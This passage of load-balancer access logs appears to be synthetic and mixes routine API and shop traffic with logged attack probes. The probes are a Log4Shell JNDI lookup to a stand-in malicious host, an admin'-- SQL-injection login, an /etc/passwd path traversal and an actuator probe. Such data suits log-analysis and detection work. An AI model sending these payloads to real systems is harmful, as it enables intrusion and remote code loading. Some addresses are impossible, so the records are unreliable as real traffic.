200 875 11093 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd8f-199db05df92a4eb49ad1aff3" "staging-alb.example.com" "-" 2 2024-11-01T01:33:51.943777Z "forward" "-" "-" "142.223.46.183:8080" "200" "-" "-" -https 2024-11-01T01:33:52.248516Z prod-api-alb 110.42.115.171:40247 10.0.117.218:443 0.023122 0.457062 0.058024 200 200 746 4526 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd90-b5ad4f084d4a46aa8484a6f8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:33:52.248516Z "forward" "-" "-" "10.0.117.218:443" "200" "-" "-" -https 2024-11-01T01:33:53.184276Z prod-api-alb 92.86.219.132:56779 10.0.251.236:443 0.085322 0.253121 0.094604 200 200 446 5854 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd91-85b58e1ea0914f82871047e2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:53.184276Z "forward" "-" "-" "10.0.251.236:443" "200" "-" "-" -https 2024-11-01T01:33:53.990095Z prod-api-alb 180.158.226.112:48971 10.0.59.141:443 0.060687 0.010263 0.000279 200 200 733 11333 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd91-a36b0c35d24e4b6dabace5f9" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:53.990095Z "forward" "-" "-" "10.0.59.141:443" "200" "-" "-" -http 2024-11-01T01:33:55.617602Z staging-alb 179.152.68.202:25781 106.100.123.22:443 0.050345 0.744096 0.062279 200 200 163 13415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd93-fbdd31341a2146f5823a2de1" "staging-alb.example.com" "-" 1 2024-11-01T01:33:55.617602Z "forward" "-" "-" "106.100.123.22:443" "200" "-" "-" -https 2024-11-01T01:33:55.940682Z prod-web-alb 139.132.79.6:48288 10.0.179.101:443 0.081897 0.139921 0.088058 302 302 736 3272 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd93-8a831be49beb43469c8bb90f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:33:55.940682Z "forward" "-" "-" "10.0.179.101:443" "302" "-" "-" -http 2024-11-01T01:33:56.437701Z staging-alb 149.182.61.233:23148 192.110.202.189:80 0.133268 0.078333 0.018533 200 200 68 359 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd94-76b674de1c224f56b8da5937" "staging-alb.example.com" "-" 8 2024-11-01T01:33:56.437701Z "forward" "-" "-" "192.110.202.189:80" "200" "-" "-" -https 2024-11-01T01:33:57.539060Z staging-alb 185.181.125.99:60541 255.15.116.244:443 0.082034 0.646360 0.071561 403 403 644 14753 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd95-ab797c418e554c6cb9b27306" "-" "-" 5 2024-11-01T01:33:57.539060Z "forward" "-" "-" "255.15.116.244:443" "403" "-" "-" -https 2024-11-01T01:33:58.744155Z prod-web-alb 45.155.205.225:60354 10.0.92.148:443 0.073940 0.087173 0.019826 403 403 15 10061 "GET /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd96-3eedc1412c9c43faa07fc608" "-" "-" 9 2024-11-01T01:33:58.744155Z "forward" "-" "-" "10.0.92.148:443" "403" "-" "-" -https 2024-11-01T01:33:59.294007Z prod-api-alb 212.132.254.248:53643 10.0.134.105:443 0.085414 0.217560 0.078236 302 302 598 13610 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd97-b857c126149e4876a8a7e209" "prod-api-alb.example.com" "-" 9 2024-11-01T01:33:59.294007Z "forward" "-" "-" "10.0.134.105:443" "302" "-" "-" -http 2024-11-01T01:33:59.405293Z staging-alb 47.75.149.20:57302 219.191.84.38:8080 0.101669 0.504450 0.111463 200 200 892 4878 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd97-80a9f1e098c3459eaea8e478" "staging-alb.example.com" "-" 1 2024-11-01T01:33:59.405293Z "forward" "-" "-" "219.191.84.38:8080" "200" "-" "-" -https 2024-11-01T01:34:00.571005Z staging-alb 11.12.241.120:44631 10.170.117.159:443 0.033170 0.571266 0.071602 200 200 256 4844 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd98-e6878ee3556348689f7e044c" "staging-alb.example.com" "-" 0 2024-11-01T01:34:00.571005Z "forward" "-" "-" "10.170.117.159:443" "200" "-" "-" -http 2024-11-01T01:34:01.521347Z staging-alb 141.75.10.100:28790 204.163.216.39:8080 0.104344 0.236005 0.092599 200 200 368 10591 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd99-ea53ff4c21db4c7d96ae5488" "staging-alb.example.com" "-" 9 2024-11-01T01:34:01.521347Z "forward" "-" "-" "204.163.216.39:8080" "200" "-" "-" -http 2024-11-01T01:34:02.508681Z staging-alb 46.56.223.130:61559 224.170.253.189:8080 0.097525 0.197074 0.055909 200 200 153 14483 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd9a-b27eb10634a842f7866c4a7f" "staging-alb.example.com" "-" 10 2024-11-01T01:34:02.508681Z "forward" "-" "-" "224.170.253.189:8080" "200" "-" "-" -https 2024-11-01T01:34:04.124654Z prod-web-alb 145.9.32.92:61198 10.0.67.121:443 0.072310 0.154103 0.099150 200 200 500 9395 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd9c-bddb5567dfab4236bc32407a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:04.124654Z "forward" "-" "-" "10.0.67.121:443" "200" "-" "-" -https 2024-11-01T01:34:05.850498Z prod-api-alb 193.27.228.121:37170 10.0.204.178:443 0.011521 0.023496 0.056631 500 500 955 6530 "POST /actuator/env HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd9d-5937d95c84304d1688a0d5ab" "-" "-" 6 2024-11-01T01:34:05.850498Z "forward" "-" "-" "10.0.204.178:443" "500" "-" "-" -https 2024-11-01T01:34:06.926023Z staging-alb 181.165.182.80:42452 108.198.180.153:8080 0.052513 0.494488 0.093542 200 200 882 13866 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd9e-1274307c3a9f4b618018a2d6" "staging-alb.example.com" "-" 4 2024-11-01T01:34:06.926023Z "forward" "-" "-" "108.198.180.153:8080" "200" "-" "-" -https 2024-11-01T01:34:08.863007Z prod-web-alb 191.68.226.19:51772 10.0.192.120:443 0.069974 0.028322 0.079096 200 200 902 5464 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cda0-1b2e25dd08a3428d9bc17e3c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:08.863007Z "forward" "-" "-" "10.0.192.120:443" "200" "-" "-" -https 2024-11-01T01:34:10.613691Z prod-web-alb 196.162.125.152:44905 10.0.29.76:443 0.054371 0.425537 0.087578 200 200 205 12946 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cda2-bd1e23984de143cd8ba32fe2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:34:10.613691Z "forward" "-" "-" "10.0.29.76:443" "200" "-" "-" -http 2024-11-01T01:34:10.744200Z staging-alb 106.138.105.155:50169 95.176.58.36:8080 0.100063 0.642374 0.056607 200 200 568 2755 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cda2-a0e12b87c3e44092a100b5af" "staging-alb.example.com" "-" 1 2024-11-01T01:34:10.744200Z "forward" "-" "-" "95.176.58.36:8080" "200" "-" "-" -https 2024-11-01T01:34:12.242246Z prod-api-alb 222.120.69.98:60320 10.0.2.175:443 0.078487 0.394045 0.026201 200 200 835 337 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cda4-11a756d2bf364dd49bbecdef" "prod-api-alb.example.com" "-" 5 2024-11-01T01:34:12.242246Z "forward" "-" "-" "10.0.2.175:443" "200" "-" "-" -https 2024-11-01T01:34:13.183874Z prod-web-alb 39.135.243.224:54341 10.0.40.25:443 0.093756 0.480511 0.087937 200 200 552 9627 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cda5-776584f654cc437084462f9c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:34:13.183874Z "forward" "-" "-" "10.0.40.25:443" "200" "-" "-" -https 2024-11-01T01:34:14.330597Z prod-web-alb 86.2.116.50:57477 10.0.166.238:443 0.085956 0.263792 0.044964 200 200 988 10713 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cda6-3232638eb8d1454fb46c9633" "prod-web-alb.example.com" "-" 8 2024-11-01T01:34:14.330597Z "forward" "-" "-" "10.0.166.238:443" "200" "-" "-" -https 2024-11-01T01:34:14.685239Z prod-api-alb 54.116.180.230:63052 10.0.51.141:443 0.095242 0.002398 0.000265 200 200 608 10375 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cda6-59060f1958454e7bbbcb43f2" "prod-api-alb.example.com" "-" 1 2024-11-01T01:34:14.685239Z "forward" "-" "-" "10.0.51.141:443" "200" "-" "-" -https 2024-11-01T01:34:16.060610Z prod-api-alb 249.244.141.44:38646 10.0.75.74:443 0.015102 0.424006 0.035267 302 302 570 4632 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cda8-67516857fbac460e9174f698" "prod-api-alb.example.com" "-" 9 2024-11-01T01:34:16.060610Z "forward" "-" "-" "10.0.75.74:443" "302" "-" "-" -http 2024-11-01T01:34:17.644180Z staging-alb 172.59.151.58:44860 107.7.69.192:443 0.002779 0.390392 0.022683 302 302 630 13842 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cda9-858c0e25886545aea8ba4c9b" "staging-alb.example.com" "-" 7 2024-11-01T01:34:17.644180Z "forward" "-" "-" "107.7.69.192:443" "302" "-" "-" -https 2024-11-01T01:34:18.062350Z prod-api-alb 92.98.81.49:57527 10.0.251.119:443 0.020897 0.402929 0.070247 200 200 154 14209 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdaa-b9ae134c64904c43a902e72b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:34:18.062350Z "forward" "-" "-" "10.0.251.119:443" "200" "-" "-" -https 2024-11-01T01:34:18.398069Z staging-alb 6.184.118.183:39398 212.108.85.12:443 0.021057 0.209649 0.032998 200 200 920 12364 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdaa-8d4b1b60a6f1448a8db920a0" "staging-alb.example.com" "-" 3 2024-11-01T01:34:18.398069Z "forward" "-" "-" "212.108.85.12:443" "200" "-" "-" -https 2024-11-01T01:34:20.347464Z prod-api-alb 44.146.84.7:42585 10.0.210.74:443 0.068172 0.035063 0.039731 301 301 858 5030 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdac-a9d0a56ffbf34043a196c88d" "prod-api-alb.example.com" "-" 0 2024-11-01T01:34:20.347464Z "forward" "-" "-" "10.0.210.74:443" "301" "-" "-" -https 2024-11-01T01:34:22.223599Z prod-api-alb 185.181.230.236:14133 10.0.229.25:443 0.030076 0.388725 0.091439 200 200 77 12407 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdae-60c4832da93d411f98e3c840" "-" "-" 10 2024-11-01T01:34:22.223599Z "forward" "-" "-" "10.0.229.25:443" "200" "-" "-" -https 2024-11-01T01:34:23.971855Z prod-web-alb 238.71.108.129:24778 10.0.228.208:443 0.042537 0.344488 0.090709 302 302 778 2703 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdaf-d4284378fd7649c9aeeaf438" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:23.971855Z "forward" "-" "-" "10.0.228.208:443" "302" "-" "-" -https 2024-11-01T01:34:25.190984Z prod-api-alb 53.37.51.58:30428 10.0.60.1:443 0.011864 0.497474 0.061406 200 200 388 981 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdb1-5acf214cf39541818338e39c" "prod-api-alb.example.com" "-" 5 2024-11-01T01:34:25.190984Z "forward" "-" "-" "10.0.60.1:443" "200" "-" "-" -https 2024-11-01T01:34:26.513443Z prod-web-alb 113.236.30.25:43098 10.0.29.114:443 0.074541 0.156309 0.008031 302 302 562 10234 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdb2-3cf45994ba9c49f390deb956" "prod-web-alb.example.com" "-" 8 2024-11-01T01:34:26.513443Z "forward" "-" "-" "10.0.29.114:443" "302" "-" "-" -http 2024-11-01T01:34:27.741160Z staging-alb 47.227.174.115:51841 7.86.39.234:80 0.109684 0.480461 0.119085 200 200 226 5514 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdb3-cd961595c9394c639abb8c86" "staging-alb.example.com" "-" 8 2024-11-01T01:34:27.741160Z "forward" "-" "-" "7.86.39.234:80" "200" "-" "-" -https 2024-11-01T01:34:29.380088Z staging-alb 222.159.229.17:46887 99.113.193.170:443 0.002345 0.614677 0.041541 200 200 291 3560 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdb5-a1d5f24be4ba4caba29be49f" "-" "-" 10 2024-11-01T01:34:29.380088Z "forward" "-" "-" "99.113.193.170:443" "200" "-" "-" -https 2024-11-01T01:34:31.377888Z prod-web-alb 180.42.184.213:14575 10.0.5.245:443 0.033073 0.298672 0.030456 302 302 520 2510 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdb7-45ec5a46f9b44ea192460702" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:31.377888Z "forward" "-" "-" "10.0.5.245:443" "302" "-" "-" -https 2024-11-01T01:34:32.561846Z staging-alb 22.230.42.5:22795 121.147.76.236:443 0.104894 0.477681 0.033290 302 302 101 12390 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdb8-1f04445d50fe440caa811d7d" "staging-alb.example.com" "-" 2 2024-11-01T01:34:32.561846Z "forward" "-" "-" "121.147.76.236:443" "302" "-" "-" -https 2024-11-01T01:34:33.811173Z prod-web-alb 73.180.203.90:12061 10.0.102.59:443 0.036868 0.111702 0.063406 200 200 152 6656 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdb9-a0d4a42177ff4fc5944fd608" "-" "-" 5 2024-11-01T01:34:33.811173Z "forward" "-" "-" "10.0.102.59:443" "200" "-" "-" -https 2024-11-01T01:34:35.537691Z prod-web-alb 252.220.99.28:23924 10.0.249.203:443 0.096182 0.246190 0.096929 301 301 231 7941 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdbb-a606a05a176544d5b9128e76" "prod-web-alb.example.com" "-" 4 2024-11-01T01:34:35.537691Z "forward" "-" "-" "10.0.249.203:443" "301" "-" "-" -https 2024-11-01T01:34:37.280366Z prod-api-alb 45.155.205.99:37494 10.0.151.134:443 0.055702 0.393332 0.027641 404 404 15 4412 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdbd-a6900b295e3348a9995b1497" "-" "-" 9 2024-11-01T01:34:37.280366Z "forward" "-" "-" "10.0.151.134:443" "404" "-" "-" -http 2024-11-01T01:34:38.021181Z staging-alb 118.198.193.56:18834 40.201.5.80:8080 0.018337 0.001959 0.113736 200 200 82 3052 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdbe-1ce08439e74a48ea91f8f81c" "staging-alb.example.com" "-" 1 2024-11-01T01:34:38.021181Z "forward" "-" "-" "40.201.5.80:8080" "200" "-" "-" -http 2024-11-01T01:34:38.326747Z staging-alb 54.14.84.182:35998 44.137.184.141:8080 0.110389 0.460303 0.063487 200 200 150 5673 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdbe-7095aa0c9adc40a88bee5a2e" "staging-alb.example.com" "-" 1 2024-11-01T01:34:38.326747Z "forward" "-" "-" "44.137.184.141:8080" "200" "-" "-" -http 2024-11-01T01:34:39.608342Z staging-alb 47.229.53.28:50425 94.200.213.185:80 0.057327 0.712023 0.132439 404 404 152 2612 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdbf-7a9231c224c544a8b32e6d18" "staging-alb.example.com" "-" 3 2024-11-01T01:34:39.608342Z "forward" "-" "-" "94.200.213.185:80" "404" "-" "-" -https 2024-11-01T01:34:41.008803Z staging-alb 117.79.70.133:51397 95.153.74.109:80 0.099685 0.716509 0.128681 301 301 328 4399 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdc1-5746fe877e304c58874ac93a" "staging-alb.example.com" "-" 5 2024-11-01T01:34:41.008803Z "forward" "-" "-" "95.153.74.109:80" "301" "-" "-" -https 2024-11-01T01:34:41.287005Z staging-alb 34.84.224.8:61843 228.63.122.223:443 0.085066 0.553015 0.022249 302 302 406 10409 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdc1-93251c2e40364441a3e60241" "staging-alb.example.com" "-" 6 2024-11-01T01:34:41.287005Z "forward" "-" "-" "228.63.122.223:443" "302" "-" "-" -https 2024-11-01T01:34:42.629322Z prod-api-alb 185.181.34.255:32180 10.0.116.107:443 0.006205 0.244846 0.075998 404 404 304 7159 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdc2-b66e457817774e6ba304f4e6" "-" "-" 6 2024-11-01T01:34:42.629322Z "forward" "-" "-" "10.0.116.107:443" "404" "-" "-" -https 2024-11-01T01:34:44.491338Z staging-alb 44.248.15.219:51376 6.102.37.24:443 0.092884 0.187320 0.100852 200 200 936 2680 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdc4-f56890f34d364cf6a6e37cbb" "staging-alb.example.com" "-" 0 2024-11-01T01:34:44.491338Z "forward" "-" "-" "6.102.37.24:443" "200" "-" "-" -https 2024-11-01T01:34:46.399171Z prod-api-alb 150.220.165.3:48522 10.0.234.110:443 0.032879 0.109124 0.094928 200 200 308 563 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like 